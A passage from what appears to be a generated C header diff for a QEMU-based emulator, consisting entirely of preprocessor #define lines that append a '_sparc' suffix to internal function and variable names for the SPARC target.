memory_region_init_ram_ptr memory_region_init_ram_ptr_sparc +#define memory_region_init_reservation memory_region_init_reservation_sparc +#define memory_region_is_iommu memory_region_is_iommu_sparc +#define memory_region_is_logging memory_region_is_logging_sparc +#define memory_region_is_mapped memory_region_is_mapped_sparc +#define memory_region_is_ram memory_region_is_ram_sparc +#define memory_region_is_rom memory_region_is_rom_sparc +#define memory_region_is_romd memory_region_is_romd_sparc +#define memory_region_is_skip_dump memory_region_is_skip_dump_sparc +#define memory_region_is_unassigned memory_region_is_unassigned_sparc +#define memory_region_name memory_region_name_sparc +#define memory_region_need_escape memory_region_need_escape_sparc +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_sparc +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_sparc +#define memory_region_present memory_region_present_sparc +#define memory_region_read_accessor memory_region_read_accessor_sparc +#define memory_region_readd_subregion memory_region_readd_subregion_sparc +#define memory_region_ref memory_region_ref_sparc +#define memory_region_resolve_container memory_region_resolve_container_sparc +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_sparc +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_sparc +#define memory_region_set_address memory_region_set_address_sparc +#define memory_region_set_alias_offset memory_region_set_alias_offset_sparc +#define memory_region_set_enabled memory_region_set_enabled_sparc +#define memory_region_set_readonly memory_region_set_readonly_sparc +#define memory_region_set_skip_dump memory_region_set_skip_dump_sparc +#define memory_region_size memory_region_size_sparc +#define memory_region_to_address_space memory_region_to_address_space_sparc +#define memory_region_transaction_begin memory_region_transaction_begin_sparc +#define memory_region_transaction_commit memory_region_transaction_commit_sparc +#define memory_region_unref memory_region_unref_sparc +#define memory_region_update_container_subregions memory_region_update_container_subregions_sparc +#define memory_region_write_accessor memory_region_write_accessor_sparc +#define memory_region_wrong_endianness memory_region_wrong_endianness_sparc +#define memory_try_enable_merging memory_try_enable_merging_sparc +#define module_call_init module_call_init_sparc +#define module_load module_load_sparc +#define mpidr_cp_reginfo mpidr_cp_reginfo_sparc +#define mpidr_read mpidr_read_sparc +#define msr_mask msr_mask_sparc +#define mul128By64To192 mul128By64To192_sparc +#define mul128To256 mul128To256_sparc +#define mul64To128 mul64To128_sparc +#define muldiv64 muldiv64_sparc +#define neon_2rm_is_float_op neon_2rm_is_float_op_sparc +#define neon_2rm_sizes neon_2rm_sizes_sparc +#define neon_3r_sizes neon_3r_sizes_sparc +#define neon_get_scalar neon_get_scalar_sparc +#define neon_load_reg neon_load_reg_sparc +#define neon_load_reg64 neon_load_reg64_sparc +#define neon_load_scratch neon_load_scratch_sparc +#define neon_ls_element_type neon_ls_element_type_sparc +#define neon_reg_offset neon_reg_offset_sparc +#define neon_store_reg neon_store_reg_sparc +#define neon_store_reg64 neon_store_reg64_sparc +#define neon_store_scratch neon_store_scratch_sparc +#define new_ldst_label new_ldst_label_sparc +#define next_list next_list_sparc +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_sparc +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_sparc +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_sparc +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_sparc +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_sparc +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_sparc +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_sparc +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_sparc +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_sparc +#define not_v6_cp_reginfo not_v6_cp_reginfo_sparc +#define not_v7_cp_reginfo not_v7_cp_reginfo_sparc +#define not_v8_cp_reginfo not_v8_cp_reginfo_sparc +#define object_child_foreach object_child_foreach_sparc +#define object_class_foreach object_class_foreach_sparc +#define object_class_foreach_tramp object_class_foreach_tramp_sparc +#define object_class_get_list object_class_get_list_sparc +#define object_class_get_list_tramp object_class_get_list_tramp_sparc +#define object_class_get_parent object_class_get_parent_sparc +#define object_deinit object_deinit_sparc +#define object_dynamic_cast object_dynamic_cast_sparc +#define object_finalize object_finalize_sparc +#define object_finalize_child_property object_finalize_child_property_sparc +#define object_get_child_property object_get_child_property_sparc +#define object_get_link_property object_get_link_property_sparc +#define object_get_root object_get_root_sparc +#define object_initialize_with_type object_initialize_with_type_sparc +#define object_init_with_type object_init_with_type_sparc +#define object_instance_init object_instance_init_sparc +#define object_new_with_type object_new_with_type_sparc +#define object_post_init_with_type object_post_init_with_type_sparc +#define object_property_add_alias object_property_add_alias_sparc +#define object_property_add_link object_property_add_link_sparc +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_sparc +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_sparc +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_sparc +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_sparc +#define object_property_allow_set_link object_property_allow_set_link_sparc +#define object_property_del object_property_del_sparc +#define object_property_del_all object_property_del_all_sparc +#define object_property_find object_property_find_sparc +#define object_property_get object_property_get_sparc +#define object_property_get_bool object_property_get_bool_sparc +#define object_property_get_int object_property_get_int_sparc +#define object_property_get_link object_property_get_link_sparc +#define object_property_get_qobject object_property_get_qobject_sparc +#define object_property_get_str object_property_get_str_sparc +#define object_property_get_type object_property_get_type_sparc +#define object_property_is_child object_property_is_child_sparc +#define object_property_set object_property_set_sparc +#define object_property_set_description object_property_set_description_sparc +#define object_property_set_link object_property_set_link_sparc +#define object_property_set_qobject object_property_set_qobject_sparc +#define object_release_link_property object_release_link_property_sparc +#define object_resolve_abs_path object_resolve_abs_path_sparc +#define object_resolve_child_property object_resolve_child_property_sparc +#define object_resolve_link object_resolve_link_sparc +#define object_resolve_link_property object_resolve_link_property_sparc +#define object_resolve_partial_path object_resolve_partial_path_sparc +#define object_resolve_path object_resolve_path_sparc +#define object_resolve_path_component object_resolve_path_component_sparc +#define object_resolve_path_type object_resolve_path_type_sparc +#define object_set_link_property object_set_link_property_sparc +#define object_unparent object_unparent_sparc +#define omap_cachemaint_write omap_cachemaint_write_sparc +#define omap_cp_reginfo omap_cp_reginfo_sparc +#define omap_threadid_write omap_threadid_write_sparc +#define omap_ticonfig_write omap_ticonfig_write_sparc +#define omap_wfi_write omap_wfi_write_sparc +#define op_bits op_bits_sparc +#define open_modeflags open_modeflags_sparc +#define op_to_mov op_to_mov_sparc +#define op_to_movi op_to_movi_sparc +#define output_type_enum output_type_enum_sparc +#define packFloat128 packFloat128_sparc +#define packFloat16 packFloat16_sparc +#define packFloat32 packFloat32_sparc +#define packFloat64 packFloat64_sparc +#define packFloatx80 packFloatx80_sparc +#define page_find page_find_sparc +#define page_find_alloc page_find_alloc_sparc +#define page_flush_tb page_flush_tb_sparc +#define page_flush_tb_1 page_flush_tb_1_sparc +#define page_init page_init_sparc +#define page_size_init page_size_init_sparc +#define par par_sparc +#define parse_array parse_array_sparc +#define parse_error parse_error_sparc +#define parse_escape parse_escape_sparc +#define parse_keyword parse_keyword_sparc +#define parse_literal parse_literal_sparc +#define parse_object parse_object_sparc +#define parse_optional parse_optional_sparc +#define parse_option_bool parse_option_bool_sparc +#define parse_option_number parse_option_number_sparc +#define parse_option_size parse_option_size_sparc +#define parse_pair parse_pair_sparc +#define parser_context_free parser_context_free_sparc +#define parser_context_new parser_context_new_sparc +#define parser_context_peek_token parser_context_peek_token_sparc +#define parser_context_pop_token parser_context_pop_token_sparc +#define parser_context_restore parser_context_restore_sparc +#define parser_context_save parser_context_save_sparc +#define parse_str parse_str_sparc +#define parse_type_bool parse_type_bool_sparc +#define parse_type_int parse_type_int_sparc +#define parse_type_number parse_type_number_sparc +#define parse_type_size parse_type_size_sparc +#define parse_type_str parse_type_str_sparc +#define parse_value parse_value_sparc +#define par_write par_write_sparc +#define patch_reloc patch_reloc_sparc +#define phys_map_node_alloc phys_map_node_alloc_sparc +#define phys_map_node_reserve phys_map_node_reserve_sparc +#define phys_mem_alloc phys_mem_alloc_sparc +#define phys_mem_set_alloc phys_mem_set_alloc_sparc +#define phys_page_compact phys_page_compact_sparc +#define phys_page_compact_all phys_page_compact_all_sparc +#define phys_page_find phys_page_find_sparc +#define phys_page_set phys_page_set_sparc +#define phys_page_set_level phys_page_set_level_sparc +#define phys_section_add phys_section_add_sparc +#define phys_section_destroy phys_section_destroy_sparc +#define phys_sections_free phys_sections_free_sparc +#define pickNaN pickNaN_sparc +#define pickNaNMulAdd pickNaNMulAdd_sparc +#define pmccfiltr_write pmccfiltr_write_sparc +#define pmccntr_read pmccntr_read_sparc +#define pmccntr_sync pmccntr_sync_sparc +#define pmccntr_write pmccntr_write_sparc +#define pmccntr_write32 pmccntr_write32_sparc +#define pmcntenclr_write pmcntenclr_write_sparc +#define pmcntenset_write pmcntenset_write_sparc +#define pmcr_write pmcr_write_sparc +#define pmintenclr_write pmintenclr_write_sparc +#define pmintenset_write pmintenset_write_sparc +#define pmovsr_write pmovsr_write_sparc +#define pmreg_access pmreg_access_sparc +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_sparc +#define pmsav5_data_ap_read pmsav5_data_ap_read_sparc +#define pmsav5_data_ap_write pmsav5_data_ap_write_sparc +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_sparc +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_sparc +#define pmuserenr_write pmuserenr_write_sparc +#define pmxevtyper_write pmxevtyper_write_sparc +#define print_type_bool print_type_bool_sparc +#define print_type_int print_type_int_sparc +#define print_type_number print_type_number_sparc +#define print_type_size print_type_size_sparc +#define print_type_str print_type_str_sparc +#define propagateFloat128NaN propagateFloat128NaN_sparc +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_sparc +#define propagateFloat32NaN propagateFloat32NaN_sparc +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_sparc +#define propagateFloat64NaN propagateFloat64NaN_sparc +#define propagateFloatx80NaN propagateFloatx80NaN_sparc +#define property_get_alias property_get_alias_sparc +#define property_get_bool property_get_bool_sparc +#define property_get_str property_get_str_sparc +#define property_get_uint16_ptr property_get_uint16_ptr_sparc +#define property_get_uint32_ptr property_get_uint32_ptr_sparc +#define property_get_uint64_ptr property_get_uint64_ptr_sparc +#define property_get_uint8_ptr property_get_uint8_ptr_sparc +#define property_release_alias property_release_alias_sparc +#define property_release_bool property_release_bool_sparc +#define property_release_str property_release_str_sparc +#define property_resolve_alias property_resolve_alias_sparc +#define property_set_alias property_set_alias_sparc +#define property_set_bool property_set_bool_sparc +#define property_set_str property_set_str_sparc +#define pstate_read pstate_read_sparc +#define pstate_write pstate_write_sparc +#define pxa250_initfn pxa250_initfn_sparc +#define pxa255_initfn pxa255_initfn_sparc +#define pxa260_initfn pxa260_initfn_sparc +#define pxa261_initfn pxa261_initfn_sparc +#define pxa262_initfn pxa262_initfn_sparc +#define pxa270a0_initfn pxa270a0_initfn_sparc +#define pxa270a1_initfn pxa270a1_initfn_sparc +#define pxa270b0_initfn pxa270b0_initfn_sparc +#define pxa270b1_initfn pxa270b1_initfn_sparc +#define pxa270c0_initfn pxa270c0_initfn_sparc +#define pxa270c5_initfn pxa270c5_initfn_sparc +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_sparc +#define qapi_dealloc_end_list qapi_dealloc_end_list_sparc +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_sparc +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_sparc +#define qapi_dealloc_next_list qapi_dealloc_next_list_sparc +#define qapi_dealloc_pop qapi_dealloc_pop_sparc +#define qapi_dealloc_push qapi_dealloc_push_sparc +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_sparc +#define qapi_dealloc_start_list qapi_dealloc_start_list_sparc +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_sparc +#define qapi_dealloc_start_union qapi_dealloc_start_union_sparc +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_sparc +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_sparc +#define qapi_dealloc_type_int qapi_dealloc_type_int_sparc +#define qapi_dealloc_type_number qapi_dealloc_type_number_sparc +#define qapi_dealloc_type_size qapi_dealloc_type_size_sparc +#define qapi_dealloc_type_str qapi_dealloc_type_str_sparc +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_sparc +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_sparc +#define qapi_free_boolList qapi_free_boolList_sparc +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_sparc +#define qapi_free_int16List qapi_free_int16List_sparc +#define qapi_free_int32List qapi_free_int32List_sparc +#define qapi_free_int64List qapi_free_int64List_sparc +#define qapi_free_int8List qapi_free_int8List_sparc +#define qapi_free_intList qapi_free_intList_sparc +#define qapi_free_numberList qapi_free_numberList_sparc +#define qapi_free_strList qapi_free_strList_sparc +#define qapi_free_uint16List qapi_free_uint16List_sparc +#define qapi_free_uint32List qapi_free_uint32List_sparc +#define qapi_free_uint64List qapi_free_uint64List_sparc +#define qapi_free_uint8List qapi_free_uint8List_sparc +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_sparc +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_sparc +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_sparc +#define qbool_destroy_obj qbool_destroy_obj_sparc +#define qbool_from_int qbool_from_int_sparc +#define qbool_get_int qbool_get_int_sparc +#define qbool_type qbool_type_sparc +#define qbus_create qbus_create_sparc +#define qbus_create_inplace qbus_create_inplace_sparc +#define qbus_finalize qbus_finalize_sparc +#define qbus_initfn qbus_initfn_sparc +#define qbus_realize qbus_realize_sparc +#define qdev_create qdev_create_sparc +#define qdev_get_type qdev_get_type_sparc +#define qdev_register_types qdev_register_types_sparc +#define qdev_set_parent_bus qdev_set_parent_bus_sparc +#define qdev_try_create qdev_try_create_sparc +#define qdict_add_key qdict_add_key_sparc +#define qdict_array_split qdict_array_split_sparc +#define qdict_clone_shallow qdict_clone_shallow_sparc +#define qdict_del qdict_del_sparc +#define qdict_destroy_obj qdict_destroy_obj_sparc +#define qdict_entry_key qdict_entry_key_sparc +#define qdict_entry_value qdict_entry_value_sparc +#define qdict_extract_subqdict qdict_extract_subqdict_sparc +#define qdict_find qdict_find_sparc +#define qdict_first qdict_first_sparc +#define qdict_flatten qdict_flatten_sparc +#define qdict_flatten_qdict qdict_flatten_qdict_sparc +#define qdict_flatten_qlist qdict_flatten_qlist_sparc +#define qdict_get qdict_get_sparc +#define qdict_get_bool qdict_get_bool_sparc +#define qdict_get_double qdict_get_double_sparc +#define qdict_get_int qdict_get_int_sparc +#define qdict_get_obj qdict_get_obj_sparc +#define qdict_get_qdict qdict_get_qdict_sparc +#define qdict_get_qlist qdict_get_qlist_sparc +#define qdict_get_str qdict_get_str_sparc +#define qdict_get_try_bool qdict_get_try_bool_sparc +#define qdict_get_try_int qdict_get_try_int_sparc +#define qdict_get_try_str qdict_get_try_str_sparc +#define qdict_haskey qdict_haskey_sparc +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_sparc +#define qdict_iter qdict_iter_sparc +#define qdict_join qdict_join_sparc +#define qdict_new qdict_new_sparc +#define qdict_next qdict_next_sparc +#define qdict_next_entry qdict_next_entry_sparc +#define qdict_put_obj qdict_put_obj_sparc +#define qdict_size qdict_size_sparc +#define qdict_type qdict_type_sparc +#define qemu_clock_get_us qemu_clock_get_us_sparc +#define qemu_clock_ptr qemu_clock_ptr_sparc +#define qemu_clocks qemu_clocks_sparc +#define qemu_get_cpu qemu_get_cpu_sparc +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_sparc +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_sparc +#define qemu_get_ram_block qemu_get_ram_block_sparc +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_sparc +#define qemu_get_ram_fd qemu_get_ram_fd_sparc +#define qemu_get_ram_ptr qemu_get_ram_ptr_sparc +#define qemu_host_page_mask qemu_host_page_mask_sparc +#define qemu_host_page_size qemu_host_page_size_sparc +#define qemu_init_vcpu qemu_init_vcpu_sparc +#define qemu_ld_helpers qemu_ld_helpers_sparc +#define qemu_log_close qemu_log_close_sparc +#define qemu_log_enabled qemu_log_enabled_sparc +#define qemu_log_flush qemu_log_flush_sparc +#define qemu_loglevel_mask qemu_loglevel_mask_sparc +#define qemu_log_vprintf qemu_log_vprintf_sparc +#define qemu_oom_check qemu_oom_check_sparc +#define qemu_parse_fd qemu_parse_fd_sparc +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_sparc +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_sparc +#define qemu_ram_alloc qemu_ram_alloc_sparc +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_sparc +#define qemu_ram_foreach_block qemu_ram_foreach_block_sparc +#define qemu_ram_free qemu_ram_free_sparc +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_sparc +#define qemu_ram_ptr_length qemu_ram_ptr_length_sparc +#define qemu_ram_remap qemu_ram_remap_sparc +#define qemu_ram_setup_dump qemu_ram_setup_dump_sparc +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_sparc +#define qemu_real_host_page_size qemu_real_host_page_size_sparc +#define qemu_st_helpers qemu_st_helpers_sparc +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_sparc +#define qemu_try_memalign qemu_try_memalign_sparc +#define qentry_destroy qentry_destroy_sparc +#define qerror_human qerror_human_sparc +#define qerror_report qerror_report_sparc +#define qerror_report_err qerror_report_err_sparc +#define qfloat_destroy_obj qfloat_destroy_obj_sparc +#define qfloat_from_double qfloat_from_double_sparc +#define qfloat_get_double qfloat_get_double_sparc +#define qfloat_type qfloat_type_sparc +#define qint_destroy_obj qint_destroy_obj_sparc +#define qint_from_int qint_from_int_sparc +#define qint_get_int qint_get_int_sparc +#define qint_type qint_type_sparc +#define qlist_append_obj qlist_append_obj_sparc +#define qlist_copy qlist_copy_sparc +#define qlist_copy_elem qlist_copy_elem_sparc +#define qlist_destroy_obj qlist_destroy_obj_sparc +#define qlist_empty qlist_empty_sparc +#define qlist_entry_obj qlist_entry_obj_sparc +#define qlist_first qlist_first_sparc +#define qlist_iter qlist_iter_sparc +#define qlist_new qlist_new_sparc +#define qlist_next qlist_next_sparc +#define qlist_peek qlist_peek_sparc +#define qlist_pop qlist_pop_sparc +#define qlist_size qlist_size_sparc +#define qlist_size_iter qlist_size_iter_sparc +#define qlist_type qlist_type_sparc +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_sparc +#define qmp_input_end_list qmp_input_end_list_sparc +#define qmp_input_end_struct qmp_input_end_struct_sparc +#define qmp_input_get_next_type qmp_input_get_next_type_sparc +#define qmp_input_get_object qmp_input_get_object_sparc +#define qmp_input_get_visitor qmp_input_get_visitor_sparc +#define qmp_input_next_list qmp_input_next_list_sparc +#define qmp_input_optional qmp_input_optional_sparc +#define qmp_input_pop qmp_input_pop_sparc +#define qmp_input_push qmp_input_push_sparc +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_sparc +#define qmp_input_start_list qmp_input_start_list_sparc +#define qmp_input_start_struct qmp_input_start_struct_sparc +#define qmp_input_type_bool qmp_input_type_bool_sparc +#define qmp_input_type_int qmp_input_type_int_sparc +#define qmp_input_type_number qmp_input_type_number_sparc +#define qmp_input_type_str qmp_input_type_str_sparc +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_sparc +#define qmp_input_visitor_new qmp_input_visitor_new_sparc +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_sparc +#define qmp_output_add_obj qmp_output_add_obj_sparc +#define qmp_output_end_list qmp_output_end_list_sparc +#define qmp_output_end_struct qmp_output_end_struct_sparc +#define qmp_output_first qmp_output_first_sparc +#define qmp_output_get_qobject qmp_output_get_qobject_sparc +#define qmp_output_get_visitor qmp_output_get_visitor_sparc +#define qmp_output_last qmp_output_last_sparc +#define qmp_output_next_list qmp_output_next_list_sparc +#define qmp_output_pop qmp_output_pop_sparc +#define qmp_output_push_obj qmp_output_push_obj_sparc +#define qmp_output_start_list qmp_output_start_list_sparc +#define qmp_output_start_struct qmp_output_start_struct_sparc +#define qmp_output_type_bool qmp_output_type_bool_sparc +#define qmp_output_type_int qmp_output_type_int_sparc +#define qmp_output_type_number qmp_output_type_number_sparc +#define qmp_output_type_str qmp_output_type_str_sparc +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_sparc +#define qmp_output_visitor_new qmp_output_visitor_new_sparc +#define qobject_decref qobject_decref_sparc +#define qobject_to_qbool qobject_to_qbool_sparc +#define qobject_to_qdict qobject_to_qdict_sparc +#define qobject_to_qfloat qobject_to_qfloat_sparc +#define qobject_to_qint qobject_to_qint_sparc +#define qobject_to_qlist qobject_to_qlist_sparc +#define qobject_to_qstring qobject_to_qstring_sparc +#define qobject_type qobject_type_sparc +#define qstring_append qstring_append_sparc +#define qstring_append_chr qstring_append_chr_sparc +#define qstring_append_int qstring_append_int_sparc +#define qstring_destroy_obj qstring_destroy_obj_sparc +#define qstring_from_escaped_str qstring_from_escaped_str_sparc +#define qstring_from_str qstring_from_str_sparc +#define qstring_from_substr qstring_from_substr_sparc +#define qstring_get_length qstring_get_length_sparc +#define qstring_get_str qstring_get_str_sparc +#define qstring_new qstring_new_sparc +#define qstring_type qstring_type_sparc +#define ram_block_add ram_block_add_sparc +#define ram_size ram_size_sparc +#define range_compare range_compare_sparc +#define range_covers_byte range_covers_byte_sparc +#define range_get_last range_get_last_sparc +#define range_merge range_merge_sparc +#define ranges_can_merge ranges_can_merge_sparc +#define raw_read raw_read_sparc +#define raw_write raw_write_sparc +#define rcon rcon_sparc +#define read_raw_cp_reg read_raw_cp_reg_sparc +#define recip_estimate recip_estimate_sparc +#define recip_sqrt_estimate recip_sqrt_estimate_sparc +#define register_cp_regs_for_features register_cp_regs_for_features_sparc +#define register_multipage register_multipage_sparc +#define register_subpage register_subpage_sparc +#define register_tm_clones register_tm_clones_sparc +#define register_types_object register_types_object_sparc +#define regnames regnames_sparc +#define render_memory_region render_memory_region_sparc +#define reset_all_temps reset_all_temps_sparc +#define reset_temp reset_temp_sparc +#define rol32 rol32_sparc +#define rol64 rol64_sparc +#define ror32 ror32_sparc +#define ror64 ror64_sparc +#define roundAndPackFloat128 roundAndPackFloat128_sparc +#define roundAndPackFloat16 roundAndPackFloat16_sparc +#define roundAndPackFloat32 roundAndPackFloat32_sparc +#define roundAndPackFloat64 roundAndPackFloat64_sparc +#define roundAndPackFloatx80 roundAndPackFloatx80_sparc +#define roundAndPackInt32 roundAndPackInt32_sparc +#define roundAndPackInt64 roundAndPackInt64_sparc +#define roundAndPackUint64 roundAndPackUint64_sparc +#define round_to_inf round_to_inf_sparc +#define run_on_cpu run_on_cpu_sparc +#define s0 s0_sparc +#define S0 S0_sparc +#define s1 s1_sparc +#define S1 S1_sparc +#define sa1100_initfn sa1100_initfn_sparc +#define sa1110_initfn sa1110_initfn_sparc +#define save_globals save_globals_sparc +#define scr_write scr_write_sparc +#define sctlr_write sctlr_write_sparc +#define set_bit set_bit_sparc +#define set_bits set_bits_sparc +#define set_default_nan_mode set_default_nan_mode_sparc +#define set_feature set_feature_sparc +#define set_float_detect_tininess set_float_detect_tininess_sparc +#define set_float_exception_flags set_float_exception_flags_sparc +#define set_float_rounding_mode set_float_rounding_mode_sparc +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_sparc +#define set_flush_to_zero set_flush_to_zero_sparc +#define set_swi_errno set_swi_errno_sparc +#define sextract32 sextract32_sparc +#define sextract64 sextract64_sparc +#define shift128ExtraRightJamming shift128ExtraRightJamming_sparc +#define shift128Right shift128Right_sparc +#define shift128RightJamming shift128RightJamming_sparc +#define shift32RightJamming shift32RightJamming_sparc +#define shift64ExtraRightJamming shift64ExtraRightJamming_sparc +#define shift64RightJamming shift64RightJamming_sparc +#define shifter_out_im shifter_out_im_sparc +#define shortShift128Left shortShift128Left_sparc +#define shortShift192Left shortShift192Left_sparc +#define simple_mpu_ap_bits simple_mpu_ap_bits_sparc +#define size_code_gen_buffer size_code_gen_buffer_sparc +#define softmmu_lock_user softmmu_lock_user_sparc +#define softmmu_lock_user_string softmmu_lock_user_string_sparc +#define softmmu_tget32 softmmu_tget32_sparc +#define softmmu_tget8 softmmu_tget8_sparc +#define softmmu_tput32 softmmu_tput32_sparc +#define softmmu_unlock_user softmmu_unlock_user_sparc +#define sort_constraints sort_constraints_sparc +#define sp_el0_access sp_el0_access_sparc +#define spsel_read spsel_read_sparc +#define spsel_write spsel_write_sparc +#define start_list start_list_sparc +#define stb_p stb_p_sparc +#define stb_phys stb_phys_sparc +#define stl_be_p stl_be_p_sparc +#define stl_be_phys stl_be_phys_sparc +#define stl_he_p stl_he_p_sparc +#define stl_le_p stl_le_p_sparc +#define stl_le_phys stl_le_phys_sparc +#define stl_phys stl_phys_sparc +#define stl_phys_internal stl_phys_internal_sparc +#define stl_phys_notdirty stl_phys_notdirty_sparc +#define store_cpu_offset store_cpu_offset_sparc +#define store_reg store_reg_sparc +#define store_reg_bx store_reg_bx_sparc +#define store_reg_from_load store_reg_from_load_sparc +#define stq_be_p stq_be_p_sparc +#define stq_be_phys stq_be_phys_sparc +#define stq_he_p stq_he_p_sparc +#define stq_le_p stq_le_p_sparc +#define stq_le_phys stq_le_phys_sparc +#define stq_phys stq_phys_sparc +#define string_input_get_visitor string_input_get_visitor_sparc +#define string_input_visitor_cleanup string_input_visitor_cleanup_sparc +#define string_input_visitor_new string_input_visitor_new_sparc +#define strongarm_cp_reginfo strongarm_cp_reginfo_sparc +#define strstart strstart_sparc +#define strtosz strtosz_sparc +#define strtosz_suffix strtosz_suffix_sparc +#define stw_be_p stw_be_p_sparc +#define stw_be_phys stw_be_phys_sparc +#define stw_he_p stw_he_p_sparc +#define stw_le_p stw_le_p_sparc +#define stw_le_phys stw_le_phys_sparc +#define stw_phys stw_phys_sparc +#define stw_phys_internal stw_phys_internal_sparc +#define sub128 sub128_sparc +#define sub16_sat sub16_sat_sparc +#define sub16_usat sub16_usat_sparc +#define sub192 sub192_sparc +#define sub8_sat sub8_sat_sparc +#define sub8_usat sub8_usat_sparc +#define subFloat128Sigs subFloat128Sigs_sparc +#define subFloat32Sigs subFloat32Sigs_sparc +#define subFloat64Sigs subFloat64Sigs_sparc +#define subFloatx80Sigs subFloatx80Sigs_sparc +#define subpage_accepts subpage_accepts_sparc +#define subpage_init subpage_init_sparc +#define subpage_ops subpage_ops_sparc +#define subpage_read subpage_read_sparc +#define subpage_register subpage_register_sparc +#define subpage_write subpage_write_sparc +#define suffix_mul suffix_mul_sparc +#define swap_commutative swap_commutative_sparc +#define swap_commutative2 swap_commutative2_sparc +#define switch_mode switch_mode_sparc +#define switch_v7m_sp switch_v7m_sp_sparc +#define syn_aa32_bkpt syn_aa32_bkpt_sparc +#define syn_aa32_hvc syn_aa32_hvc_sparc +#define syn_aa32_smc syn_aa32_smc_sparc +#define syn_aa32_svc syn_aa32_svc_sparc +#define syn_breakpoint syn_breakpoint_sparc +#define sync_globals sync_globals_sparc +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_sparc +#define syn_cp14_rt_trap syn_cp14_rt_trap_sparc +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_sparc +#define syn_cp15_rt_trap syn_cp15_rt_trap_sparc +#define syn_data_abort syn_data_abort_sparc +#define syn_fp_access_trap syn_fp_access_trap_sparc +#define syn_insn_abort syn_insn_abort_sparc +#define syn_swstep syn_swstep_sparc +#define syn_uncategorized syn_uncategorized_sparc +#define syn_watchpoint syn_watchpoint_sparc +#define syscall_err syscall_err_sparc +#define system_bus_class_init system_bus_class_init_sparc +#define system_bus_info system_bus_info_sparc +#define t2ee_cp_reginfo t2ee_cp_reginfo_sparc +#define table_logic_cc table_logic_cc_sparc +#define target_parse_constraint target_parse_constraint_sparc +#define target_words_bigendian target_words_bigendian_sparc +#define tb_add_jump tb_add_jump_sparc +#define tb_alloc tb_alloc_sparc +#define tb_alloc_page tb_alloc_page_sparc +#define tb_check_watchpoint tb_check_watchpoint_sparc +#define tb_find_fast tb_find_fast_sparc +#define tb_find_pc tb_find_pc_sparc +#define tb_find_slow tb_find_slow_sparc +#define tb_flush tb_flush_sparc +#define tb_flush_jmp_cache tb_flush_jmp_cache_sparc +#define tb_free tb_free_sparc +#define tb_gen_code tb_gen_code_sparc +#define tb_hash_remove tb_hash_remove_sparc +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_sparc +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_sparc +#define tb_invalidate_phys_range tb_invalidate_phys_range_sparc +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_sparc +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_sparc +#define tb_jmp_remove tb_jmp_remove_sparc +#define tb_link_page tb_link_page_sparc +#define tb_page_remove tb_page_remove_sparc +#define tb_phys_hash_func tb_phys_hash_func_sparc +#define tb_phys_invalidate tb_phys_invalidate_sparc +#define tb_reset_jump tb_reset_jump_sparc +#define tb_set_jmp_target tb_set_jmp_target_sparc +#define tcg_accel_class_init tcg_accel_class_init_sparc +#define tcg_accel_type tcg_accel_type_sparc +#define tcg_add_param_i32 tcg_add_param_i32_sparc +#define tcg_add_param_i64 tcg_add_param_i64_sparc +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_sparc +#define tcg_allowed tcg_allowed_sparc +#define tcg_canonicalize_memop tcg_canonicalize_memop_sparc +#define tcg_commit tcg_commit_sparc +#define tcg_cond_to_jcc tcg_cond_to_jcc_sparc +#define 